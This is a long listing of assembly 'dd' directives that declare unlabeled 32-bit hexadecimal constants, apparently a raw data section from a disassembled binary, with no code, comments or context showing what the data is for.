dd 40584BF8h, 78683ADCh, 49789074h, 204AC234h, 61BAC4D2h
dd 98B4C08h, 0C40ABCDAh, 0DC6352E4h, 0C0C84AC2h, 0C62EF739h
dd 970420C3h, 10C3589Ch, 0C2691E92h, 9BC90E5Eh, 2090D98Bh
dd 2CA5C0BDh, 603E3CA4h, 0CED04A80h, 6B3498C1h, 200058B7h
dd 0BFD75E8Fh, 0B0C1C27Ch, 99F7385Dh, 5020184Dh, 38A54D56h
dd 41EF9AFh, 486E80AFh, 0B67EEAFEh, 0C4FD4084h, 0F0434043h
dd 2F7CC493h, 0C8342C18h, 0C5AAD080h, 0A7BBD668h, 3F717868h
dd 58979905h, 0D881CBD0h, 64749FD6h, 689B1FC6h, 0B6182A3Dh
dd 1AB65F8h, 3C7B4F50h, 0DA87D0A7h, 209CB92Eh, 5497B502h
dd 6738E0D8h, 1449ED4h, 5EC6BC49h, 8B3C3CD6h, 3CD44492h
dd 5702A4ECh, 54C5BE1Fh, 719D80E1h, 6DC3E0A0h, 0C6BA4B02h
dd 0E0C44A5Ch, 74A02C90h, 82207CE6h, 53C350C0h, 40214363h
dd 4B51C0B8h, 4F54F8C9h, 9C5052D5h, 0BC30EFC8h, 7AE0684Bh
dd 50E0B837h, 0A5C1805Ch, 2CB0D934h, 0BAC32FECh, 0C1341750h
dd 7DB8D55Fh, 5CB7C390h, 0F001A5D6h, 74DFAF0Ch, 1C1ABD0h
dd 4FB9D551h, 9DC7444Dh, 5743CB21h, 0A090CEDAh, 3D9DBD43h
dd 90E5D91Bh, 13E0B249h, 8084756Fh, 102F3835h, 5CC398C0h
dd 0E061BBDAh, 5AC6B5E8h, 6BBD2887h, 51B14223h, 0DC001C42h
dd 5FC6C7CEh, 439120C0h, 749EB9D0h, 4E9CF65Ah, 71B81755h
dd 422B3BE0h, 80887AC4h, 1A89428Ch, 5C00F873h, 1B93BE43h
dd 9CBA3135h, 40C0B988h, 814FB8DCh, 0D80ED0A2h, 8002FC9Ch
dd 5290BCD8h, 6A4E0460h, 4A9E80A0h, 78043F1Ch, 2AB049D4h
dd 1B02F057h, 5E95BE44h, 8FDCF92Ch, 9A034A15h, 18443F1Bh
dd 49F7C6C8h, 46DC4C58h, 6058EB4Bh, 2DD35130h, 0D4114E03h
dd 5FBFCC4Ch, 9E534490h, 64644AF4h, 9057F0F4h, 3C309C20h
dd 436C01FCh, 4B58C3BAh, 0A07FE1C4h, 0D625F0C0h, 0FD1817CAh
dd 95BD3960h, 0CECD2657h, 0C0481DDCh, 0F03F55C6h, 630007F8h
dd 0FB1E767Ah, 1C826E5h, 3DA1D7F6h, 0D86E6F3Eh, 2F05610Ch
dd 1795EC59h, 471A2C00h, 3B4ED29h, 0BB720BCFh, 2DA20C1Fh
dd 7C01ACF8h, 35A7292Eh, 5880453Fh, 3DA003C6h, 22FC7269h
dd 576F70C0h, 0A68E3h, 75D9ECF1h, 0DFD6D03Ah, 7766A61h
dd 508FE911h, 1F5D5EB3h, 2A628030h, 75DC163Eh, 97B8C500h
dd 1326BAE7h, 0DF3101A3h, 3C36C3EFh, 8204F99h, 6CDB81C5h
dd 48C9AE0h, 0B4EA2948h, 3763D7h, 292F8721h, 146AE905h
dd 80330D3Eh, 0FCF4FED5h, 66F8C86h, 0ECFA614Ch, 0D32AD8F1h
dd 5600C8FBh, 5CB247EDh, 0F47379h, 839D283Ch, 48706ED3h
dd 3EFA4B67h, 0E441E535h, 96DD0A66h, 0ABB94882h, 0C85E9F46h
dd 194EAF00h, 891D34h, 8A6EF824h, 9482E816h, 267ED202h
dd 80EA9398h, 0A6933E8h, 3A91C0ADh, 90F0E6CFh, 20DBC730h
dd 33A0BBECh, 8380396Bh, 773AE907h, 0F0D00E52h, 2BEA4CE5h
dd 101C9830h, 0B17830AEh, 0B0FAEFh, 3DA3814Ah, 63E81865h
dd 86285AE2h, 4201FC2Fh, 6FC0ABB2h, 6980C46Dh, 0FAEB0FECh
dd 0CB066744h, 0B36EE927h, 21D56008h, 0EFFAE4A4h, 0BA76BE01h
dd 481761C2h, 0E0B7A980h, 0E16BFC92h, 479E7203h, 0CD6E5FAh
dd 3DF8E368h, 8612B329h, 40A7052h, 23F48868h, 9C509210h
dd 0DA088580h, 97860325h, 4061E2B3h, 0C6C0F86Eh, 0F5100CF3h
dd 0DF497366h, 8D4B5B06h, 482AFBF8h, 5F117C38h, 34C212A8h
dd 366AB002h, 0F95600FAh, 84A1E09Fh, 22484876h, 1C468446h
dd 7C86FB20h, 9903E647h, 70482D3Bh, 654F5903h, 0AF2693A9h
dd 87FE260Fh, 58A54908h, 0A976B400h, 0BD12845Fh, 0E091E760h
dd 239C3h, 4AF5A51Ch, 1AA4C15Bh, 0B4D63F02h, 8F583A5Eh
dd 6C6F64D8h, 0FAC81899h, 0C3672345h, 0A500D111h, 28F3FAE5h
dd 6738D366h, 0CD5DA822h, 62713B78h, 0F048C234h, 7260A801h
dd 84740FEh, 35266AF1h, 7BF00404h, 0A6BA44D0h, 2A0D38CAh
dd 0EE389935h, 3490A872h, 14064F47h, 38A28B10h, 41126F14h
dd 0BF0050F8h, 0EE78E442h
dd 23D24116h, 0DCB4F798h, 0DCEC107Eh, 92FC3CB8h, 0C120746Fh
dd 2F60C2F8h, 927AF430h, 699E0C64h, 0E0B813CEh, 1E615D00h
dd 0F745AB97h, 600C0C16h, 2C80A702h, 0E9608DEAh, 925EBFD0h
dd 0E658C088h, 0DA0A1822h, 0C4BB78C0h, 54C2EAF8h, 0E454B0D8h
dd 6663F2Eh, 85947600h, 0E3916CA1h, 286B4004h, 20809E7Ah
dd 8B31A7FEh, 0FAD560E4h, 0BB672332h, 0AE00D411h, 0D2FDFAEEh
dd 0C9987EB0h, 0F560477Eh, 65122741h, 4AA6012Ch, 0BBE9897Ch
dd 0A46DC851h, 0DAC8350Bh, 2D780707h, 0E0707560h, 8495005Fh
dd 984C4417h, 94A0E91Bh, 0E418F042h, 0C59E8D3h, 6E30008Dh
dd 4653B363h, 8CCAB6Bh, 1D21F2h, 0D9053095h, 0D25F5DECh
dd 0BC382D79h, 0C09E945Ah, 266C3A0h, 46219401h, 82C424AEh
dd 51137800h, 42FFA6E6h, 0CEA9007Fh, 8BD7F7EDh, 71051E7Bh
dd 2C967261h, 64D6E000h, 6A026A63h, 11FC1020h, 0A96F822Fh
dd 0B1466291h, 0B210ABFCh, 2900A978h, 0F5DD5C8Bh, 1FE7E8E9h
dd 92C0A646h, 0B01828FAh, 0B3B1BB0Fh, 5FD50097h, 2086B50Bh
dd 6E00A0EEh, 3FE6B91Eh, 240ECEE7h, 4044707Fh, 0EA6A76EBh
dd 36480262h, 1CC980CEh, 482E69DDh, 121508CBh, 0F2099054h
dd 3C029574h, 40A59DC3h, 9F08C2BBh, 8292D30h, 0C1FB4E7h
dd 0E52262h, 47293C7Ah, 0A5F30502h, 0C326B4E6h, 0F699031Bh
dd 46C849B6h, 4715B3D1h, 63C018A0h, 462695A9h, 0A4227Fh
dd 81A96CBEh, 7180F7Bh, 909CF119h, 804CC5B8h, 1DF0A447h
dd 407919B9h, 3CDBEBFDh, 770129C5h, 316759AAh, 843020E4h
dd 0D18E0116h, 70F26344h, 41508291h, 489F0677h, 9895FCCh
dd 4DE8847Bh, 1B3E0002h, 0DE500209h, 2CDC94CDh, 91053B5h
dd 2002896Dh, 8A0E2046h, 82809431h, 0F02B2AF6h, 4B5F00D0h
dd 307323F8h, 7F09952Fh, 0B0855B25h, 28615C08h, 639EFA20h
dd 2D5370F1h, 2E3C9804h, 0A6046DAAh, 0B2DF001Ah, 0C9ADEE6Eh
dd 0C43091C0h, 0F912091Dh, 88000C4Ch, 7C79CA52h, 0C04148B8h
dd 0A08CF1BCh, 2C0352BEh, 2BBA780h, 0A4FB273Ch, 0C04EEC69h
dd 0E2C7A65h, 8F06203Bh, 41F8D3h, 166D4319h, 7BC55A78h
dd 0DE822C00h, 0EA119601h, 3C9B06FCh, 315F3F05h, 7C90EC00h
dd 26CDB585h, 0DE9628C0h, 74774884h, 0C398A6C1h, 30E8BA0Eh
dd 41AF39E1h, 8A1E0088h, 0CC471C89h, 0BF00A405h, 6AEB4C78h
dd 2451034h, 0C825076Ch, 4864E5CAh, 9102E046h, 93636230h
dd 2910F031h, 32003099h, 0FD6174F5h, 9057BE5Eh, 74A44848h
dd 69013923h, 6F2697A9h, 0B088AA18h, 0EAA9026Ah, 85DE9D13h
dd 25F32C0h, 189C3458h, 6E585C37h, 6DCE0E46h, 59205240h
dd 9ABA5F7Bh, 21427A12h, 0EC90385Fh, 0FA11C203h, 22C891AEh
dd 0D30ABA8Fh, 0D04DCB12h, 0A1A001C9h, 2019313Ah, 0F424C328h
dd 904BAC60h, 190FE38h, 0E8C81036h, 239965Ah, 0C03860E9h
dd 3477586Fh, 8F4FAB0Fh, 0EA1025A0h, 3C1FD751h, 873598Ch
dd 952101C5h, 0C3BE101Eh, 0DAD94382h, 0F384A6E0h, 5C4C5A00h
dd 796B856Eh, 0E25E00CDh, 0A136D290h, 8E075506h, 0D1D09E1Fh
dd 0D81CEF10h, 0D50158C9h, 51824600h, 0C4AB8D66h, 211B117h
dd 8145CD0Fh, 8F4A539Fh, 8DBB6880h, 0CE5BF038h, 73314200h
dd 0D95E7836h, 60DCEEB1h, 0E972850h, 7200884Fh, 6E3DBF29h
dd 9B7A69h, 2C70932Bh, 77A137CEh, 27AFD300h, 4727C3Fh
dd 0AD880012h, 52DDBD36h, 78064BE1h, 0C47D01D5h, 0B07388h
dd 9B172322h, 620BC853h, 0F300DD7Fh, 0DAE552DCh, 0C08BE92Ah
dd 81AF4FA8h, 603796Ch, 0E5B8F8Eh, 0AA083096h, 6C89CE21h
dd 0FA98181Ch, 0EAB024C0h, 28FC6D86h, 0B4B631h, 0C82F84DAh
dd 1A472E1Fh, 0F3080D1Ch, 1332C605h, 0B88F9030h, 0B146009Ah
dd 4FA6DE81h, 0D21850D5h, 8B49AC32h, 7C4C0084h, 0D6A37462h
dd 8CA9D3Ah, 0EE8298DFh, 82C84C8Dh, 0D3BE80h, 356A4D04h
dd 0DE36D8A0h, 18DBE933h, 41AEE398h, 0BFD4E459h, 5EE31454h
dd 7A80C030h, 0A0315586h, 9C95E900h, 88C1796Dh, 0FFCE1CCDh
dd 0E3B18002h, 37FA2E51h, 19C8F8A0h, 4E42124h, 6208101Fh
dd 0AC9614A7h, 78048C7Dh, 0A6067A6Ch, 8000C138h, 87C6EB6Ch
dd 50471807h, 0D16B609h, 97A2464Bh, 0F1C9E458h, 0B2A0AE50h
dd 196A8700h, 6499D15Eh, 1484AC01h, 78AF4898h, 0B5DB990Ah
dd 5C50C888h, 1A009146h, 0C77E6118h, 8092F119h, 1B292CA0h
dd 88E8A924h, 8C362E84h, 6185200Fh, 9C9028E0h, 865DA60Ah
dd 0D300D43Ah, 39A4E669h, 0D51A1054h, 2A6102ABh, 9388F925h
dd 20B8236Ch, 836C7701h, 0AC4E9E06h, 6C7FC000h, 0D54C4587h
dd 0B038C03h, 0C050DB83h, 8034862Eh, 7F2A8F6Dh, 0AB009853h
dd 2813E92Fh, 19F68ACAh, 8C2D0AEh, 921C3438h, 0DD0013F2h
dd 0DC42E2D8h, 6954987Dh, 0A40041ADh, 46820A08h, 280D31C3h
dd 6C3FC059h, 8A540016h, 0A3FD8BFAh, 9A1468E5h, 109C7E53h
dd 4A0A3EE6h, 8284D60Eh, 0BA2948B0h, 0F9BA0B0h, 673DB4E0h
dd 0C87EE0E3h, 0AD712B5h, 0A23E178Dh, 9AE88AC0h, 837D8084h
dd 7B726BC7h, 0F7E28700h, 1AAE6F7Eh, 18262855h, 0C4398C4h
dd 764EB59Bh, 0C51462C0h, 3BCCA72h, 0A3D1BADEh, 0C9B8E8CDh
dd 0EE59C98Eh, 0A1DDD001h, 202831EDh, 38403A98h, 40DF0634h
dd 10290A54h, 50C7EC00h, 718F10B1h, 0EA1B181Ah, 5B664983h
dd 0A853E200h, 0D1C349A7h, 799F00FFh, 504A6508h, 78C8D09Dh
dd 57E18282h, 60908B07h, 0E9036E32h, 5EDACA6Bh, 678589ABh
dd 1031A6h, 51D51024h, 44863D1Fh, 1D0094BCh, 68B53110h
dd 4C413DA6h, 7911F458h, 0A95E1CE4h, 0CF7D60h, 814CAD39h
dd 4DDBB8DAh, 5048D96Ah, 7B851C11h, 7EF7C26Ch, 9044504Ch
dd 6C8300CCh, 9AF0E34Ah, 663DFDD1h, 4D9901C3h, 0C58D102Eh
dd 71B00820h, 8F6F121Bh, 0EB546085h, 0CA232613h, 42117Ah
dd 0C913D29Ch, 98D9606Ah, 0A167047Ch, 0C18E6E72h, 59BE62Ch
dd 3AB08000h, 984DA7F2h, 76A490C4h, 40BCA2AAh, 0A0E7C581h
dd 0A390EF0h, 0C1C494A0h, 0C6E509FCh, 0B14C38A2h, 0AADE220h
dd 1FD892E6h, 0BFE37E17h, 15A4DFA8h, 0CC81ABACh, 0E9102880h
dd 3C43FF51h, 902EC022h, 0C5004B21h, 110E730Dh, 0AD30256h
dd 3BAD5E17h, 79C9C468h, 504BD240h, 0A849D06Bh, 0ECFEDADCh
dd 0A65D3F0Ch, 6BABD060h, 1C038A96h, 0AA614EC8h, 0D0B8675Bh
dd 1A054801h, 5684B83Dh, 0D3FF8000h, 67A62C82h, 608FF16Ah
dd 62DC80E0h, 890820A7h, 0D634C1AEh, 68C5071h, 546A6A3Dh
dd 1608B490h, 1A0401BEh, 4108A2B8h, 72A0D2D0h, 7E8F802Ch
dd 24264E68h, 1138BF73h, 6C82801Bh, 99960678h, 8ACFC0E4h
dd 7704CE6Ch, 0F5C7D1E3h, 889B18DCh, 1002237Eh, 0F8F43524h
dd 0F1B98712h, 2ABB48F0h, 0AD8F0BD7h, 3498D602h, 85265E4Bh
dd 0B0876086h, 0E1058807h, 0DF7C1881h, 405D6820h, 1914CE80h
dd 9D0E269h, 0A3CBAB0Fh, 798E828h, 516DDC81h, 0FF08405Ch
dd 0D2025F53h, 601995F9h, 8A844123h, 0F0C82119h, 8493C2CAh
dd 8F003D11h, 0A39A13DFh, 8D07AA7Ah, 40C7F2FCh, 0AF6519B0h
dd 58924D52h, 18849073h, 0C029A512h, 56264D06h, 2116303Fh
dd 16E3F848h, 1CA81D7Ch, 2BCEECFh, 95D95A59h, 32F58482h
dd 9576D603h, 0C9028804h, 24816894h, 12039C31h, 3B042E1h
dd 222124D9h, 0D1820834h, 0D52EC785h, 98819043h, 0C29784Fh
dd 5FF9D125h, 88D01730h
dd 406D3A18h, 64F412CEh, 0A18804D3h, 580E52E1h, 6B9390EBh
dd 0FBC300A8h, 2A18A8DEh, 724D181Dh, 9A2DF8AAh, 0CD1254B9h
dd 2E0FF841h, 18A1AA7Eh, 74B826D8h, 3D004446h, 58CC0C6Fh
dd 3C008DF0h, 5F97DED9h, 1E1B7275h, 6550D4FBh, 4C782018h
dd 94628011h, 0FA80E088h, 82E54C81h, 9083EE68h, 0C6F120E0h
dd 6C20D500h, 0B56985Ch, 8230C65Eh, 602CB147h, 0E905C6D4h
dd 0C004432Eh, 10B0852Bh, 0EC945008h, 8CB0486Dh, 32867448h
dd 922499B3h, 9102BB9Bh, 60D38D37h, 80CD2E00h, 46125AD6h
dd 94028CEBh, 9055984Fh, 32A6349Ch, 4128C24Eh, 0F00CACC6h
dd 69CC1A53h, 14AE4431h, 0BAB25901h, 7B01686Fh, 2C05EFFCh
dd 0ACD0BE5Dh, 2C0EC0ACh, 16126F8Bh, 149A35EDh, 0DDC09288h
dd 1D34B0E0h, 50A07DBh, 80F84DCEh, 0BAD6E720h, 6D59A0C0h
dd 5A92079h, 0D929D5FDh, 329809B8h, 3B2DC848h, 265B3F00h
dd 0A65FFFE4h, 0C2FC000Ch, 0CD4D03F1h, 0FB070EF3h, 0E179744Bh
dd 67F8340h, 3ADA375Dh, 701D09E1h, 2F00C639h, 17307634h
dd 92035AA3h, 0D6453F29h, 0BA580B41h, 882B05D4h, 4A09400Fh
dd 9C8FE489h, 7A4060F2h, 62237E4Ch, 0E11164h, 0B04C8BF0h
dd 1986EDDh, 480845Fh, 2D46EA45h, 0D42E1C60h, 11D49DE5h
dd 52FE8095h, 9B3BFCFh, 3F53CB17h, 7F68A820h, 73007BA8h
dd 0E45840B6h, 185C904h, 36ADDC59h, 4221BB10h, 50DDDCh
dd 0EA32D618h, 0E3025B9h, 6E8EE99Fh, 0D0BB0300h, 0EA0BAE12h
dd 875BAC7Ch, 21A91AFAh, 0B6364B48h, 12B11970h, 0D031DF7Dh
dd 0FC6470E0h, 0AC909A00h, 0EB2CA812h, 8B0301EFh, 0F473894Eh
dd 4099E1B8h, 0DF217B84h, 0CE78658Ah, 52E680F1h, 98F01657h
dd 564610D0h, 0AC7F0F8Fh, 2431E95Dh, 8CE4CD18h, 62890ADFh
dd 80F432A5h, 1D2C7CE8h, 14B0849Bh, 66D9D405h, 0A0C83B69h
dd 512B32B2h, 0AC6AD5D8h, 89E70886h, 0C800F58h, 78C6F660h
dd 96451708h, 0DD00455Bh, 0ECF4140Bh, 788068A3h, 84941C4Ah
dd 0F8E44669h, 2068D80Ah, 9249572Ch, 25BE017Ch, 0D6A5CCBAh
dd 0A4A2885h, 0C7C802C0h, 646B7C2Ch, 87FFC8D8h, 810CAD31h
dd 44CD5506h, 80498201h, 0C24DC329h, 19A36575h, 0C08B321Fh
dd 0CB24341Ah, 5044C702h, 8791B166h, 1F647088h, 0F88E0095h
dd 23C1BD88h, 0B0E8173Ah, 9EAC030Ah, 5D827350h, 0B335910Fh
dd 82CC09F4h, 0A82D3E05h, 0C0A064E0h, 80141E49h, 6856C7Dh
dd 13FD8CAEh, 0E16CF1C2h, 444EFF40h, 315907BEh, 3E45A616h
dd 64009156h, 11A6707Ah, 2E410C96h, 2439976Ah, 5E36C708h
dd 310E7181h, 90B00A4Eh, 30024CD2h, 0C2105960h, 99BCEDD4h
dd 0D2B804B4h, 0D167459Eh, 0A33C8840h, 165245C1h, 0C7496C2h
dd 34308369h, 0D061D615h, 0F5A20320h, 95135C7h, 4F01D481h
dd 18225463h, 0F7C0B053h, 0E2B863D2h, 71AC9031h, 0BC5B00B5h
dd 7857987Fh, 0ED3011E3h, 0DF4829AEh, 8822040Bh, 0D5E50253h
dd 52A804E4h, 4C701983h, 17814DE0h, 401235E9h, 525EDA74h
dd 9A53D236h, 28484494h, 90991B25h, 44074A10h, 0B94D31C3h
dd 441706A8h, 0D869EEh, 0C301FE36h, 0ED321D28h, 70DAE426h
dd 6230606Fh, 29BF75Ch, 6B0465F8h, 0E442FA2Ch, 4A015389h
dd 517E830Eh, 5080D59Ch, 3E6506BCh, 0CAF83750h, 0D235DC3Fh
dd 0D9B840B0h, 0BCA1D8A6h, 2F836DCh, 62824C7Eh, 6058D184h
dd 0BE4C7FECh, 0FF48E090h, 0C01DC854h, 67E6C7Ch, 0E0EC864Ch
dd 3B6C84CDh, 12FE9E40h, 0C3C7E138h, 9AA0BA18h, 7C14634Eh
dd 24A4DF71h, 3C2DBC8Ch, 12C64690h, 0ED51F1FEh, 10053DCh
dd 97E38353h, 0A468C355h, 0D89441C0h, 38256519h, 0DEA40FE5h
dd 0BBA85503h, 9445C093h, 0C0EE24EAh, 3EB64204h, 0E804380Ah
dd 8816F40h, 4C335033h, 8C80826h, 0B209EA09h, 94B2B5h
dd 937C329Ch, 0D5CF092Fh, 74219B01h, 7021C061h, 0EA251B41h
dd 4068AE97h, 10CF9462h, 0C2330051h, 8269C866h, 6E2478B4h
dd 56090A83h, 1964119Eh, 0E850502Ch, 11C88853h, 88AF4928h
dd 12908A58h, 865CF41h, 1F8040DAh, 31A86D29h, 0F419DD60h
dd 0A79026h, 533F7DEAh, 0EB05FB3h, 99C4B39h, 27585B9Fh
dd 0D9400F48h, 5081CD62h, 4A9894F1h, 98185059h, 262C9C77h
dd 0C7D1C310h, 3D5E1EA8h, 710060B2h, 0E9FC2BC8h, 8AABBB6Fh
dd 95C4A045h, 24564160h, 0BB913D01h, 5D934D6h, 0F39F2DFh
dd 7041100h, 1E30A62Ch, 0A58F98BBh, 0C9CF13E2h, 0DA0040FDh
dd 83D839FFh, 4B730C3h, 0B4D048B0h, 48EDE10h, 19C729D4h
dd 9C1734C0h, 53D70677h, 20900646h, 0BF734F05h, 203C801Bh
dd 2D154618h, 111817ACh, 0F0180BFh, 94E4CF96h, 95465C94h
dd 0F1C20B07h, 9AB3A3FDh, 0E8F4F058h, 1E008C94h, 58B027A1h
dd 5A51921h, 0C51F0E72h, 1628C117h, 241C715Ch, 0DCE8DAD8h
dd 0C0C38D28h, 5062E700h, 3E1E58FCh, 90AC55F6h, 1783EC2Ch
dd 0F5C2C99Bh, 64C0046Ah, 0C5408304h, 6755121Ah, 1B2C045Bh
dd 0CF54E069h, 5D45073Bh, 0FB40070h, 0DD70CC72h, 78C16C35h
dd 0E70E4F29h, 0B55DA406h, 0E0B5E040h, 0F1358846h, 8C66C641h
dd 6D2C1848h, 1A848088h, 20447FFh, 6720B898h, 0F8DF51CFh
dd 41F71820h, 192CCCB0h, 0B5A58703h, 4BDD0212h, 17C842E9h
dd 0F8F0F95Eh, 0B9093C30h, 0EAE220Ch, 2E0F8566h, 602494C8h
dd 0ACB67140h, 4E74B0B4h, 0D6743084h, 0CA2D2513h, 7D816D2h
dd 0FF13DD95h, 2A3B40E6h, 0A9056CD2h, 818CF6A8h, 203D4082h
dd 56595D0Fh, 9841BCA2h, 74442A03h, 0ACC3B669h, 0C9F41A62h
dd 0FC58E942h, 8BD8544h, 95D08209h, 2D68609h, 218326A0h
dd 74415598h, 0A339D124h, 0B6A45074h, 3A04D440h, 0BC50925Dh
dd 0D8CA501Bh, 0BAAC80B1h, 19127CB8h, 849203A7h, 48C6CDDh
dd 627B4C7Dh, 20DE628Ch, 4D4C86EDh, 486E5E3Ch, 8EC2E8CCh
dd 5218BA02h, 6438C7D8h, 0CA4808E0h, 0EC2094F5h, 0CE81897Eh
dd 0F71061EEh, 6F0FBC38h, 2109553Ch, 0CC045C8Bh, 0B01D5280h
dd 16EF222h, 0D45B008h, 413E17E5h, 817FE820h, 11104631h
dd 0E5E59E02h, 4EFA8CCh, 45087844h, 54A83Eh, 8B7E073Ah
dd 141B3624h, 0ECE27C55h, 95D4BC09h, 5E4B4868h, 0CCA8192Ch
dd 48BC84Eh, 0A08D5DF3h, 114C840h, 40F8809Dh, 48C869Ch
dd 51D41023h, 20C56227h, 53101C93h, 22B5A0Bh, 98D08BB2h
dd 58D70C64h, 0D678ECEDh, 0F43800A1h, 6AA5628Ah, 0C8289496h
dd 20EC0634h, 0C6DFFC08h, 622B9A77h, 0E711FC9Ch, 0C1BAEB31h
dd 0B66FC30h, 21F0FC00h, 946C4874h, 0E3F90BCBh, 0CC293911h
dd 0C028789h, 0C702E4CDh, 957C512Bh, 845884A8h, 8CBBE8h
dd 0C51BCA52h, 7CF58889h, 5A5DA617h, 62D0BC00h, 90D5E2ADh
dd 8ADF00C4h, 804FC81Dh, 0B152E425h, 0C0E84CC0h, 8C58CF3Ch
dd 0BE7EEB9h, 991F9AACh, 0CAA0498Eh, 661565F1h, 0D81CF60h
dd 29CE6DB3h, 78EA35h, 60234B0h, 0EB506A55h, 9A0C48B0h
dd 0F09503EEh, 4651888Dh, 996BE27h, 11289D70h, 8D3A8391h
dd 52E82A31h, 0CB6630ECh, 0AE1081A1h, 427D921Eh, 0CCF51481h
dd 3C26B1E3h, 22017F23h, 0EF51D710h, 9AB0F078h, 3F12101Bh
dd 34028DF4h, 40916F04h, 4A495A90h, 0DD280B9Dh, 0D92AD086h
dd 62847850h, 2122B88h, 912E4C41h, 0CC56C6F0h, 70C2E512h
dd 20DCD88Ah, 771ED209h, 1FC8AD88h, 894B09DFh, 0A2362C38h
dd 88A88E48h, 6651864Dh
dd 0C9F8817Dh, 486128A2h, 0CE798578h, 0B4F08958h, 826E1C0h
dd 0B6462F7Bh, 4EDAB405h, 0CB475938h, 0CEAE0050h, 40B2D9C9h
dd 1A264890h, 19855088h, 3808E42Dh, 0D890AD54h, 9D00EB3Eh
dd 2EBD07B5h, 70CA9E51h, 0AD6800ECh, 0BB81223Dh, 4028052h
dd 0A2C56209h, 26D845EAh, 57E1C0A0h, 0D955337h, 4CDD21E8h
dd 1C61B024h, 4544E7E5h, 0C07C48E8h, 6462EFE7h, 9B4FDD01h
dd 3527D2DFh, 0E90CD87Ch, 3BB8D591h, 5D7F140h, 0C55EE3DEh
dd 9488509Dh, 473AC7C2h, 184A88C8h, 448CE4Eh, 0BE8980B0h
dd 0E49B4CB2h, 10E4114Ch, 0D00185F1h, 3C565F6Ch, 0EFF8748Ah
dd 0C87170C0h, 596861F5h, 0E13BEC83h, 0F23148Eh, 58D7CC60h
dd 0DE0935EFh, 67DF2291h, 80D14FCCh, 0FC123E37h, 0A7D4015Ah
dd 77DE70C5h, 5518201Bh, 20459122h, 10B0F73Ah, 0D5028346h
dd 0EACA2413h, 966084F1h, 613DCh, 0D2991150h, 756C9476h
dd 0FCDEE224h, 1295160Bh, 82505E10h, 91F635F3h, 0CE4EDC00h
dd 71576E2Eh, 0E7595EC5h, 80B92238h, 0B1D58FCh, 0AB6741A3h
dd 48C7D020h, 5D250BE4h, 0D42C08C6h, 0A0E00208h, 88A25DBCh
dd 5140D62Eh, 0B03A14C0h, 9F009223h, 0E635EB95h, 931494A4h
dd 667C3164h, 8C0805ABh, 2DF028C5h, 8A3E973h, 0A971D466h
dd 4894B216h, 1F2930C1h, 8A59EF00h, 8E47BF07h, 58AD71CFh
dd 68C88CA5h, 0E4A48D49h, 0E5D74E45h, 847C2CC9h, 977FC444h
dd 0D5010837h, 70F4B6B5h, 50CAC020h, 0FE94B44Ch, 12DC9469h
dd 178016EEh, 0B05851F0h, 982D3922h, 0B6D8AE53h, 40A2E492h
dd 1DD7538h, 0DD60BAFh, 0D412B9EFh, 724ADB01h, 0E2464481h
dd 0A0E83474h, 0D583DE4Ch, 3D32E402h, 8CE4E8F9h, 69641C00h
dd 1BD90BEBh, 3CA097EAh, 6261374Ch, 51014EE8h, 687B99C2h
dd 0F03D6728h, 0B5D8B600h, 20D0FE45h, 0A7229600h, 0E3E98A29h
dd 64AA753Fh, 44A3A00Ah, 0B4A231C7h, 1B0C0407h, 482C9AEh
dd 4A00AC61h, 7CB81CB0h, 0B689C0CEh, 0DF4149FEh, 406F5304h
dd 0C0AD5D05h, 0B4C1E4Bh, 0F00936C2h, 3C45067h, 7803217Fh
dd 7024CBBAh, 7A0848EEh, 983C3CADh, 0B8F8444Eh, 8BCCBCDCh
dd 96409032h, 0ECED1FA9h, 22B74086h, 6003C1D5h, 76F443E4h
dd 49FAE04h, 48A0FA4Dh, 4EC80225h, 3F224650h, 590FA8A6h
dd 2C188F4Ch, 6A8440C6h, 3181B57Dh, 218E7203h, 9CB32B0h
dd 2F00F4C4h, 3073162Dh, 134FF8h, 8CB00A9Fh, 1486AC0Ch
dd 3ABDB108h, 22910805h, 87186125h, 1A049879h, 0E1D9FC55h
dd 0A9FC2034h, 4C058C5Ah, 9CE3546Fh, 0D868EF01h, 1EC30CC2h
dd 19F9340Ah, 0C25B652Ch, 792CC624h, 0CAD845DEh, 0FF32B84Ch
dd 24C42048h, 2808A854h, 5CAC188Fh, 30308A5Fh, 0A1DB160Ch
dd 8114D09Ch, 81B91Ch, 69FDB248h, 406668BAh, 0F42AAC76h
dd 8301AC87h, 0B8D5F6CFh, 606DECD6h, 41E64517h, 1953CB9Ch
dd 123045D4h, 0DEA820AAh, 0F2000818h, 0BD0D1960h, 6874EAh
dd 0F3D33929h, 0C657B467h, 16EEA927h, 68CF2470h, 5DDE0597h
dd 88988F26h, 1652C090h, 0EA31023Bh, 57B119C3h, 0D5F7096Eh
dd 2F108072h, 6D278822h, 41C48045h, 1A9A2F60h, 0E5202890h
dd 43CE13EFh, 3A902030h, 0B8147A1Ch, 10E094E1h, 0E458EBA9h
dd 79CF5D03h, 839201C9h, 9950090Bh, 9C38F3A0h, 1150DDA1h
dd 2084F4C7h, 46C580B9h, 0DC1B756h, 5765EF35h, 3DD4D089h
dd 81E96605h, 8CE4825Dh, 2CBE59CDh, 0A0806B13h, 12814FCCh
dd 767474CAh, 9FF29F47h, 40E0201Dh, 6CE598BBh, 3AAD8248h
dd 1A0400CFh, 364FA48Ch, 0BE4D1C91h, 8823D310h, 6FABC703h
dd 9EC6453Eh, 0C5620C18h, 0EE30EC4Ah, 0E8ABAC16h, 87BDF0D0h
dd 71020051h, 77D57AD3h, 1509B51Eh, 0B99F046h, 0A0040E1Ch
dd 696C192Dh, 0B6453008h, 0BDD63459h, 4C02E740h, 0A416A41Ah
dd 0C884CEDAh, 9094C397h, 93C5A8B1h, 4041F6D8h, 2405A3D1h
dd 0E411A042h, 0E0B49638h, 993C7734h, 49C4752h, 0D995DCC2h
dd 9C227C10h, 0E238AFFCh, 36078046h, 16D03933h, 0AEF002D8h
dd 0A4B77204h, 0CA405C5Eh, 309A1Bh, 92F4832Bh, 0D5D2311Ch
dd 2794505Ch, 82B8A4AAh, 0E8102760h, 96075127h, 1220E21Ch
dd 0B2796D10h, 18007F18h, 770DD702h, 0BE16E2E7h, 38191B4h
dd 519259E1h, 0EC92BC61h, 13EA3080h, 72CA2910h, 13D191E0h
dd 3B302112h, 9C48ACB3h, 8A40013Ah, 912897B5h, 666880E0h
dd 1C59E61Dh, 4B73880h, 0E28E6DADh, 30BFF26Ch, 0DA05D074h
dd 0EE458405h, 4BD528A0h, 0C8648B51h, 0C0D0C5AAh, 97A8E654h
dd 0B5BD3500h, 0C8BAACF9h, 0C20530C9h, 5188B2F8h, 5881984Ah
dd 0C02BFEDh, 304D853h, 2509AAF0h, 1FFCE482h, 0FF310F00h
